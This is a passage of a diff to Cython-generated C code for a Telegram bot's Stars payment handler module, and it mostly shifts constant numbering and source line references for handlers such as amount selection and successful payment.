PyTuple_Pack(1, __pyx_kp_u_stars_amount); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + __pyx_tuple__29 = PyTuple_Pack(7, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__29); + __Pyx_GIVEREF(__pyx_tuple__29); + __pyx_codeobj__7 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__29, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_amount_selection, 135, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__7)) __PYX_ERR(0, 135, __pyx_L1_error) + + __pyx_tuple__30 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__30); + __Pyx_GIVEREF(__pyx_tuple__30); + __pyx_codeobj__15 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_enter_custom_amount, 191, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__15)) __PYX_ERR(0, 191, __pyx_L1_error) + + __pyx_tuple__31 = PyTuple_Pack(5, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); + __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_custom_amount_input, 205, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 205, __pyx_L1_error) + + __pyx_tuple__32 = PyTuple_Pack(1, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__32); __Pyx_GIVEREF(__pyx_tuple__32); - __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_back_to_pay_stars_after_invoice, 34, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 1, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_pre_checkout_query, 246, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 246, __pyx_L1_error) - __pyx_tuple__33 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 46, __pyx_L1_error) + __pyx_tuple__33 = PyTuple_Pack(4, __pyx_n_s_message, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); - __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_back_to_pay_stars, 46, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 46, __pyx_L1_error) - - __pyx_tuple__34 = PyTuple_Pack(10, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists, __pyx_n_s_e); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 52, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__34); - __Pyx_GIVEREF(__pyx_tuple__34); - __pyx_codeobj__4 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_callback_pay_stars, 52, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__4)) __PYX_ERR(0, 52, __pyx_L1_error) - - __pyx_tuple__35 = PyTuple_Pack(1, __pyx_kp_u_stars_amount); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__35); - __Pyx_GIVEREF(__pyx_tuple__35); - __pyx_tuple__36 = PyTuple_Pack(7, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__36); - __Pyx_GIVEREF(__pyx_tuple__36); - __pyx_codeobj__10 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_amount_selection, 133, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__10)) __PYX_ERR(0, 133, __pyx_L1_error) - - __pyx_tuple__37 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 189, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__37); - __Pyx_GIVEREF(__pyx_tuple__37); - __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_enter_custom_amount, 189, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 189, __pyx_L1_error) - - __pyx_tuple__38 = PyTuple_Pack(5, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 203, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__38); - __Pyx_GIVEREF(__pyx_tuple__38); - __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_custom_amount_input, 203, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 203, __pyx_L1_error) - - __pyx_tuple__39 = PyTuple_Pack(1, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 244, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__39); - __Pyx_GIVEREF(__pyx_tuple__39); - __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 1, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__39, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_pre_checkout_query, 244, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 244, __pyx_L1_error) - - __pyx_tuple__40 = PyTuple_Pack(4, __pyx_n_s_message, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 249, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__40); - __Pyx_GIVEREF(__pyx_tuple__40); - __pyx_codeobj__29 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_successful_payment, 249, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__29)) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_codeobj__22 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_successful_payment, 251, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__22)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; @@ -11023,15 +11005,15 @@ static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice)) __PYX_ERR(0, 34, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice)) __PYX_ERR(0, 36, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 36, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 36, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice->tp_print = 0; @@ -11042,15 +11024,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars)) __PYX_ERR(0, 46, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars) < 0) __PYX_ERR(0, 46, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars)) __PYX_ERR(0, 48, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars) < 0) __PYX_ERR(0, 48, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars) < 0) __PYX_ERR(0, 46, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars) < 0) __PYX_ERR(0, 48, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars->tp_print = 0; @@ -11061,15 +11043,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars)) __PYX_ERR(0, 52, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars) < 0) __PYX_ERR(0, 52, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars)) __PYX_ERR(0, 54, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars) < 0) __PYX_ERR(0, 54, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars) < 0) __PYX_ERR(0, 52, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars) < 0) __PYX_ERR(0, 54, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars->tp_print = 0; @@ -11080,15 +11062,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection)) __PYX_ERR(0, 133, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection) < 0) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection)) __PYX_ERR(0, 135, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection) < 0) __PYX_ERR(0, 135, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection) < 0) __PYX_ERR(0, 133, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection) < 0) __PYX_ERR(0, 135, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection->tp_print = 0; @@ -11099,15 +11081,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount)) __PYX_ERR(0, 189, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount)) __PYX_ERR(0, 191, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 191, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 191, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount->tp_print = 0; @@ -11118,15 +11100,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input)) __PYX_ERR(0, 203, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input)) __PYX_ERR(0, 205, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 205, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 203, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 205, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input->tp_print = 0; @@ -11137,15 +11119,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query)) __PYX_ERR(0, 244, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query)) __PYX_ERR(0, 246, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query) < 0) __PYX_ERR(0, 246, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query) < 0) __PYX_ERR(0, 246, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query->tp_print = 0; @@ -11156,15 +11138,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment)) __PYX_ERR(0, 249, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment) < 0) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment)) __PYX_ERR(0, 251, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment) < 0) __PYX_ERR(0, 251, __pyx_L1_error) #else 